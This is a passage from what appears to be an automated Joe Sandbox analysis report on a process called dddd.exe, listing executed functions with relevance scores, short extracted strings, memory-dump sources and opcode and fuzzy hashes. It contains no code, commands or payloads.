API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: 03bfcb85d824aeede859a38616d033c888a261a0e5070483ddb3834dd3791dcb
Instruction ID: 555c06340940ef7e1a0f04b621e383e90d16b0d96d522f6513543fdc9e800a92
Opcode Fuzzy Hash: 03bfcb85d824aeede859a38616d033c888a261a0e5070483ddb3834dd3791dcb
Instruction Fuzzy Hash: 4231CF7190CA188FDB28DFACD845AE97BF0FF55311F14012EE49AD3682CB70A846CB81

Analysis Process: dddd.exePID: 6476, Parent PID: 4280COMMON

Executed Functions

Function 00007FFB498D79D0 Relevance: 8.3, Strings: 6, Instructions: 806COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498D8158
HA{I, xrefs: 00007FFB498D8180
HA{I, xrefs: 00007FFB498D8353
HA{I, xrefs: 00007FFB498D8271
\, xrefs: 00007FFB498D7CC5
HA{I, xrefs: 00007FFB498D837B

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: HA{I$HA{I$HA{I$HA{I$HA{I$\
API String ID: 0-361601824
Opcode ID: 3dac6a43c64f0651738ae0d428a689a13dde00a575bfa98e8a0e684713910df7
Instruction ID: db1d4ba9412d6b3be0cbe0707f5ff2b17862a75a91cbcbcad1ab15026b7fba6e
Opcode Fuzzy Hash: 3dac6a43c64f0651738ae0d428a689a13dde00a575bfa98e8a0e684713910df7
Instruction Fuzzy Hash: F24232B1A1CA4A4FE769EE3CC48167977D1EF89740F14427ED48FC7292CD28B84687A1

Function 00007FFB498CFA56 Relevance: 6.8, Strings: 5, Instructions: 577COMMON

Download Yara Rule

Strings

@W{I, xrefs: 00007FFB498CFE64
@W{I, xrefs: 00007FFB498CFF26
@W{I, xrefs: 00007FFB498CFD97
@W{I, xrefs: 00007FFB498CFC32
@W{I, xrefs: 00007FFB498CFCE1

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: @W{I$@W{I$@W{I$@W{I$@W{I
API String ID: 0-1465678087
Opcode ID: a44ccb3a8ded7c5eeb74b64028d5d59c09daa02929ef4c24b6444f08b88f91a3
Instruction ID: d86aba8b24d82e51f5bb784f83e07c4d272a6476292133807651bee5ecbd15cc
Opcode Fuzzy Hash: a44ccb3a8ded7c5eeb74b64028d5d59c09daa02929ef4c24b6444f08b88f91a3
Instruction Fuzzy Hash: 9B02A0B1A1CB4A8FE758EF2CC445669B7E2FFA9340F10457EE489C7292DE34E8458742

Function 00007FFB498C5968 Relevance: 6.8, Strings: 5, Instructions: 568COMMON

Download Yara Rule

Strings

@W{I, xrefs: 00007FFB498CFE64
@W{I, xrefs: 00007FFB498CFF26
@W{I, xrefs: 00007FFB498CFD97
@W{I, xrefs: 00007FFB498CFC32
@W{I, xrefs: 00007FFB498CFCE1

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: @W{I$@W{I$@W{I$@W{I$@W{I
API String ID: 0-1465678087
Opcode ID: 87672e0f6c9502d3e286bb10bfbfef04a177173d0db8dc74e154fdee82cfd3d3
Instruction ID: a17802007ed0f3de4a40def051787547666dbc564693c2779378cc4dd87f020a
Opcode Fuzzy Hash: 87672e0f6c9502d3e286bb10bfbfef04a177173d0db8dc74e154fdee82cfd3d3
Instruction Fuzzy Hash: 030290B1A1CB4A8FE758EF2CC445669B7D2FFA9340F10457EE48AC7292DE34E8458742

Function 00007FFB498C590F Relevance: 6.5, Strings: 5, Instructions: 284COMMON

Download Yara Rule

Strings

@W{I, xrefs: 00007FFB498CF91D
@W{I, xrefs: 00007FFB498CF8AE
@W{I, xrefs: 00007FFB498CF98C
@W{I, xrefs: 00007FFB498CF9FB
@W{I, xrefs: 00007FFB498CF83F

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: @W{I$@W{I$@W{I$@W{I$@W{I
API String ID: 0-1465678087
Opcode ID: 08230e405fc524257b7f299715d6b3f2adbfd2965a95d41f01ec945526cce745
Instruction ID: f4807be016af7751f979efc7831f205d369feda9f62201abbb0fbc170c33315e
Opcode Fuzzy Hash: 08230e405fc524257b7f299715d6b3f2adbfd2965a95d41f01ec945526cce745
Instruction Fuzzy Hash: 7391C4B295CA879FE759EE2CC445765B7E1FFA8380F0405B9D04AC75C2DE34E8868782

Function 00007FFB498C48E0 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498DE58B
?K_H, xrefs: 00007FFB498DE56E
HA{I, xrefs: 00007FFB498DE486

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: ?K_H$HA{I$HA{I
API String ID: 0-2354627073
Opcode ID: 7587dcfcc640ca41cdeae98f3a0a5608c0ad06dd8af928e81470b4b7bab58214
Instruction ID: 569d8fa7bfaebcddcfca36dee77d9b090029a46de9b58704ebf469c95ef66591
Opcode Fuzzy Hash: 7587dcfcc640ca41cdeae98f3a0a5608c0ad06dd8af928e81470b4b7bab58214
Instruction Fuzzy Hash: 53B1E3A0A0CA4B4FE769BE3CC5982B577A1EF46790F0542BED45EC71C3ED2868458361

Function 00007FFB498CCA60 Relevance: 4.1, Strings: 3, Instructions: 320COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498CCBEB
HA{I, xrefs: 00007FFB498CCBB1
HA{I, xrefs: 00007FFB498CCC25

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: HA{I$HA{I$HA{I
API String ID: 0-3810296549
Opcode ID: b0e8842e26a53a3200199e7f45213fe3c71e5c5d6df1a2b57fe3ff8a252bdd99
Instruction ID: 89e66d8164dd478f91ac4fabb112ea24ff56c7d497583576123e7f48a2e3b6ff
Opcode Fuzzy Hash: b0e8842e26a53a3200199e7f45213fe3c71e5c5d6df1a2b57fe3ff8a252bdd99
Instruction Fuzzy Hash: 948129B1B1CD0A0FE6A4EE6CE8597B933D1EFA8361B0505BAE45DC72D2DD189C428381

Function 00007FFB498C6C90 Relevance: 4.0, Strings: 3, Instructions: 247COMMON

Download Yara Rule

Strings

#S_H, xrefs: 00007FFB498C7F8E
HA{I, xrefs: 00007FFB498C7F4A
HA{I, xrefs: 00007FFB498C7F84

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: #S_H$HA{I$HA{I
API String ID: 0-773528311
Opcode ID: 6e8090f76af4ac0815c98795e18cc04840d515cecd625c25dc3908ca37d88b5b
Instruction ID: 0eb664fe624bb2b0eca1b2f7acf7e2441742d41c81b7a23c13f3834799fd1805
Opcode Fuzzy Hash: 6e8090f76af4ac0815c98795e18cc04840d515cecd625c25dc3908ca37d88b5b
Instruction Fuzzy Hash: EE710D71A1894E8FDFC8EF6CC495AA937E1FFA9381F040079E45AD72A1CA34E8418780

Function 00007FFB498CD35F Relevance: 2.9, Strings: 2, Instructions: 433COMMON

Download Yara Rule

Strings

kk, xrefs: 00007FFB498CD4AA, 00007FFB498CD58F, 00007FFB498CD62C
@W{I, xrefs: 00007FFB498CD701

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: @W{I$kk
API String ID: 0-2850934808
Opcode ID: d5bf29a07f335546a32dd89e5fbba4820990abf1cac8774b5c07f52ad69896fb
Instruction ID: cab8d3ea41f3a5659bf418fff5716ab7f269317ade9f70731bcc513d3bfc2993
Opcode Fuzzy Hash: d5bf29a07f335546a32dd89e5fbba4820990abf1cac8774b5c07f52ad69896fb
Instruction Fuzzy Hash: 26D19DB1B1CA4A4FEB99FF2CC485AB877D1EF68340B0441BAD85EC72D6DD24E8458781

Function 00007FFB498C7C50 Relevance: 2.6, Strings: 2, Instructions: 133COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498CE6DD
_, xrefs: 00007FFB498CE739

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: HA{I$_
API String ID: 0-4262683722
Opcode ID: d2b253cbf950be01e9e4c895a92ce0c0e8cfc5795f4754d1267019653fb7f30c
Instruction ID: 62e711188a0e87065bb7a99c6c95179511e6ce6cebc836cd0fbc4c5ebe697ea8
Opcode Fuzzy Hash: d2b253cbf950be01e9e4c895a92ce0c0e8cfc5795f4754d1267019653fb7f30c
Instruction Fuzzy Hash: A43145A2A1D6560FD316BF7CE8965E93F90DF42264B0841FAE498CB5D3D808984683D5

Function 00007FFB498C7404 Relevance: 1.8, Strings: 1, Instructions: 582COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498C760E

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: HA{I
API String ID: 0-3447132464
Opcode ID: f60c848b2d9b5b61942915d2ab13f55a73cdb62a8e3e466254591f28e7c56acd
Instruction ID: 22a39c9e3f9f643e230aba254a61150e358e897f2a4f8a32640f14649aaac8fd
Opcode Fuzzy Hash: f60c848b2d9b5b61942915d2ab13f55a73cdb62a8e3e466254591f28e7c56acd
Instruction Fuzzy Hash: D602C470A0CA4A4FD799EF2CC4956B97BE1FF95300F14427ED49AC7296CE24E846C781

Function 00007FFB498CC0E0 Relevance: 1.7, Strings: 1, Instructions: 427COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498CC348

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: HA{I
API String ID: 0-3447132464
Opcode ID: 1f172e69255593ea3b0796a69ddeccefce1b5d2a99a32f732637b07c88df74b6
Instruction ID: f9a39c048a8d622a0100469e78b449919c6ad4221bb1c4bceaf7d01ca2e8cbfd
Opcode Fuzzy Hash: 1f172e69255593ea3b0796a69ddeccefce1b5d2a99a32f732637b07c88df74b6
Instruction Fuzzy Hash: 2BB134A3B1DD1B0FF7E9AE7DA45927427C1EBB82A1B2404BBD49DC32D1DD189C064381

Function 00007FFB498C09FF Relevance: 1.7, Strings: 1, Instructions: 419COMMON

Download Yara Rule

Strings

#CM_^, xrefs: 00007FFB498C0C19, 00007FFB498C0CAD, 00007FFB498C0CF5, 00007FFB498C0E99

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: #CM_^
API String ID: 0-2311673530
Opcode ID: e9d0c365599aa1c448d953d4c792232e05ed6bf02a6c957e0f8b0c7d0b7753ea
Instruction ID: 01a8895ac35405036c2d4cbff04e1203db7b92c21867fd0bc95e34c7d05a6d04
Opcode Fuzzy Hash: e9d0c365599aa1c448d953d4c792232e05ed6bf02a6c957e0f8b0c7d0b7753ea
Instruction Fuzzy Hash: C3E17E70A0D64A8FEB59EF7CD191BA877A1EF45384F5441BDD419DB2D2CE38A880CB50

Function 00007FFB498C93B0 Relevance: 1.6, Strings: 1, Instructions: 390COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFB498CB42E

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 7b11f3df4fd4625c408a91112df1b8ff0db0a3d0802f9c62d7fad247bbec966b
Instruction ID: 8b89fb3542a163efafc210bad6d3a36ce89a2e28a88fcc1c43ce060f04e6599b
Opcode Fuzzy Hash: 7b11f3df4fd4625c408a91112df1b8ff0db0a3d0802f9c62d7fad247bbec966b
Instruction Fuzzy Hash: 71C1DDB0A1CF468FD769EE2CD481636B3E1FF94340B10457ED49A83696DA35F842CB81

Function 00007FFB498CD173 Relevance: 1.5, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

rL_^, xrefs: 00007FFB498CD201

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: rL_^
API String ID: 0-671284935
Opcode ID: f0db6b13329f081881f7de8d135fe81de597bafc94354efd981633781ea42660
Instruction ID: fe13aaa92dce0fb996ac15fd25e95e6348717a6ed44d550196c1d79f502ebba0
Opcode Fuzzy Hash: f0db6b13329f081881f7de8d135fe81de597bafc94354efd981633781ea42660
Instruction Fuzzy Hash: 2851E742B0D1A61AE742BF7CF5A51ED3F91EF4222A70841BBD5DC8E593DC08A44E83D9

Function 00007FFB498DD668 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498DD6A4

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: HA{I
API String ID: 0-3447132464
Opcode ID: f948d9a82dbaa39d176d29d5f46c8e5b7befb7c0e78e9132bec7369c97fa4864
Instruction ID: 9bc314f5a170a54eff50ca2f9396b12cb48f013fbe7e28123049f9012c159e75
Opcode Fuzzy Hash: f948d9a82dbaa39d176d29d5f46c8e5b7befb7c0e78e9132bec7369c97fa4864
Instruction Fuzzy Hash: EA4144A260DA8E0FE799EE7CD8591B53BD0EBA96A070403FBD04DC7593DD289C0683D1

Function 00007FFB498C109D Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

, xrefs: 00007FFB498C11B7

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 6f955277ad38ca42407d7ca88d9feb14ec47327d7dace973a59e6ed384c26952
Instruction ID: d5afb1f3791bebc5746b78b775539fb495dc3b721f5d67db57e5c1a3d6ce75ed
Opcode Fuzzy Hash: 6f955277ad38ca42407d7ca88d9feb14ec47327d7dace973a59e6ed384c26952
Instruction Fuzzy Hash: CC51BE6044E3C25FD7439B78C860A523FF5AF47264B0A41EFD5D9CE0A3CA2D984AC722

Function 00007FFB498C39FA Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFB498C3A01

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: M_^
API String ID: 0-2269846659
Opcode ID: 43886635db0541a13a7c9fb06d194a65a79eb74f626fdfc9dcf008af2a2c893f
Instruction ID: 5f0d5334a9d664d100ccecccda281a3cdb14ac0dad5e63cc7f4e254bae432478
Opcode Fuzzy Hash: 43886635db0541a13a7c9fb06d194a65a79eb74f626fdfc9dcf008af2a2c893f
Instruction Fuzzy Hash: E9512562B0E65A0AE702BFBCF9554FDBF90EF46366B0802BBD598C64C3CD14544983E4

Function 00007FFB498C5A71 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498C5AFD

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: HA{I
API String ID: 0-3447132464
Opcode ID: 98060b6a2441ab6c113cb52269c0ad19be9a4de7ddffd68e6859319fc5170fc5
Instruction ID: 8bccc50e9be47f5eeab42e6bcabcf41728662e789c61ea124341fd1e51196475
Opcode Fuzzy Hash: 98060b6a2441ab6c113cb52269c0ad19be9a4de7ddffd68e6859319fc5170fc5
Instruction Fuzzy Hash: 7E41D3A2B1DA4B0FEB98EE7CD45567937D1FFA8290B44017AD49DC36C6DD18D8428381

Function 00007FFB498C8478 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498CCA1D

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: HA{I
API String ID: 0-3447132464
Opcode ID: 84c00dab8be6ce61a8b8ee828f8c68bc601f3187f23cd34d071df6d0a67dd13d
Instruction ID: 043ded27e483cbb3ba5bc6be3abeec525b564122ad80d06dbdbc38e3fedb58e3
Opcode Fuzzy Hash: 84c00dab8be6ce61a8b8ee828f8c68bc601f3187f23cd34d071df6d0a67dd13d
Instruction Fuzzy Hash: 083126A2B2CD1B0BE794AE3CD8092B937C0EBA5390F05097BE45DC32E1DE18CD464385

Function 00007FFB498C2C98 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

HA{I, xrefs: 00007FFB498C4AEE

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: HA{I
API String ID: 0-3447132464
Opcode ID: d309afca9dd518b9832f0f0b0520a158d9793a23768de45d658cec9ccf1e29c4
Instruction ID: 0331849ac6c7e0318463ac3d8db28866f42561f1ff9d396749c1e412be401d7f
Opcode Fuzzy Hash: d309afca9dd518b9832f0f0b0520a158d9793a23768de45d658cec9ccf1e29c4
Instruction Fuzzy Hash: 2C31B0B1B1891A4FEB98EE6CD489BF973D1FB98351F040176E40ED3295DE249C418380

Function 00007FFB498C595D Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

@W{I, xrefs: 00007FFB498CF83F

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: @W{I
API String ID: 0-275310109
Opcode ID: ce4f3988543151e17bb5520c0b28a3b0c5abfde2cf300bd3c12f9c544255d638
Instruction ID: cec32169965fac58e9262785ae1c67f9b5a7d018b5b2207efdb03736bd9bdc8d
Opcode Fuzzy Hash: ce4f3988543151e17bb5520c0b28a3b0c5abfde2cf300bd3c12f9c544255d638
Instruction Fuzzy Hash: F021D67291CB8A8FE744FE2CC84566AB7E1FBE8350F04057AD44AD3591DE34E945C782

Function 00007FFB498DF0E0 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

#CM_^, xrefs: 00007FFB498DF11C

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: #CM_^
API String ID: 0-2311673530
Opcode ID: 71dd7cd36e10f38158aa7f05aeb52b8b9c2fba5be7fa2abb8cf07c219eca7ee0
Instruction ID: c35e67de48a00d0bdf76b9de8cbc32a5c286ce9216ea9d606efe949512855449
Opcode Fuzzy Hash: 71dd7cd36e10f38158aa7f05aeb52b8b9c2fba5be7fa2abb8cf07c219eca7ee0
Instruction Fuzzy Hash: 0211906170D94B5FDB8AEF3CC0517686791EF4B38475801F9C449CB6D6CD38A8458761

Function 00007FFB498DF1E0 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

#CM_^, xrefs: 00007FFB498DF218

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID: #CM_^
API String ID: 0-2311673530
Opcode ID: 05f297505d4fb0cc9cb396ebdd9fddade48cd54866cb97186b44824c1201554f
Instruction ID: 8e061fd0b63002e2e7b8c7f4918346b817d4e482c03d5b098922564a819eacc0
Opcode Fuzzy Hash: 05f297505d4fb0cc9cb396ebdd9fddade48cd54866cb97186b44824c1201554f
Instruction Fuzzy Hash: 52113A6091D6874FE64AEF3CD1917643791AF4B3C8B8401F9C419DB5E3CD297898C721

Function 00007FFB498CC419 Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525890ad9e2de1eefb0a0b05179a7ecd070902b394e34dfb97f760080ac2d467
Instruction ID: 9d5f5d30352a9a78733151190fff739bc20349e574531362c26770b0daa9c19d
Opcode Fuzzy Hash: 525890ad9e2de1eefb0a0b05179a7ecd070902b394e34dfb97f760080ac2d467
Instruction Fuzzy Hash: 71C11393B0D5930AE3027E7CFA550FC7B91EFA127AB0841BBD59C8B8C3DD18A44A42D5

Function 00007FFB498C6DB8 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6e0af0b22fe54e478e0e656108aff6c0cb45971958e69092573c3df097b4313
Instruction ID: 7ffafeb9c7bd696d04990a67d473420a662a4c84224fec199fec8f87862c668a
Opcode Fuzzy Hash: b6e0af0b22fe54e478e0e656108aff6c0cb45971958e69092573c3df097b4313
Instruction Fuzzy Hash: B7A15AA2A0EA820FE75AAF7CDC551647F91EFD5A6471803FBD088C71D7EC14A80683D1

Function 00007FFB498DBAC5 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90a9a7840eb21044ed59249bf19d075d5f0c4d79d621a46781a72b55fdc113b1
Instruction ID: 5bffc6bd11ffcae354cef1913f3c58ad72acb672e993b4279f53b107b8076e9b
Opcode Fuzzy Hash: 90a9a7840eb21044ed59249bf19d075d5f0c4d79d621a46781a72b55fdc113b1
Instruction Fuzzy Hash: 7381387160DA464FE399AF3CD88567077E0FF96360B1802BED489C71A7DA29F842C751

Function 00007FFB498C1289 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 912f3d1296fe2b92b2f818caa0366e4bb7fff4c7290cb3e167487f77f1ecdc2b
Instruction ID: b6b4a7f7cd6fb16af9e215d1f63a02646667b77ffbf9f59b540f17db5550135b
Opcode Fuzzy Hash: 912f3d1296fe2b92b2f818caa0366e4bb7fff4c7290cb3e167487f77f1ecdc2b
Instruction Fuzzy Hash: C081E26260DA8A4FD396EF3CC9949647FE1EF9734030941FAD498CB1E3D928EC458391

Function 00007FFB498DB28C Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b4ccc89f09d7b0e7d86882747e4fb6c35eb8feff97b7f588cfea3e0f577ab2
Instruction ID: 48f4c367ee4b90cc8473e20403559fb6ac5924d6f539744ec975d0427ee2b79e
Opcode Fuzzy Hash: 37b4ccc89f09d7b0e7d86882747e4fb6c35eb8feff97b7f588cfea3e0f577ab2
Instruction Fuzzy Hash: 9F7101B1A0DA8A4FE799EF3CC8557697BE1EF95740F0402BED44DC7292CD28AC018761

Function 00007FFB498C9440 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3db30ad267b8d34cfbcb35dd65d15cc6cbd1b79f02aaf239441067e74e3380
Instruction ID: 6a357f90636a4665d2b59a86af9a457a97454e01ca3c1caf2b648d2022fdc98a
Opcode Fuzzy Hash: 5d3db30ad267b8d34cfbcb35dd65d15cc6cbd1b79f02aaf239441067e74e3380
Instruction Fuzzy Hash: 4F51F17161DE0B4FE758AE6CD884A7173E0EFA9350B140679D49EC3292DA29F887C781

Function 00007FFB498D28E8 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 468d26402a4650843270a3515f831305fdaeb7118a165f441e1480c1075ecd86
Instruction ID: 397581b59f015afed7964c7140629d0f119390b174c382a8319e1c65c8c9a758
Opcode Fuzzy Hash: 468d26402a4650843270a3515f831305fdaeb7118a165f441e1480c1075ecd86
Instruction Fuzzy Hash: A251CA61B1C95A4FEB99EE2DD4559B937D1EF58750F0402AAF44EC3297CD28E84183C1

Function 00007FFB498C90CA Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1748911428.00007FFB498C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB498C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffb498c0000_dddd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d70c3abfb915a5799f933c5dd417a13e2acf1bb62a8e7ee4544ff6d3226a77e
Instruction ID: a0d08961e024d601cf77ea9fb316630a8c178a936be435c29d1c66b6f7486730
Opcode Fuzzy Hash: 0d70c3abfb915a5799f933c5dd417a13e2acf1bb62a8e7ee4544ff6d3226a77e
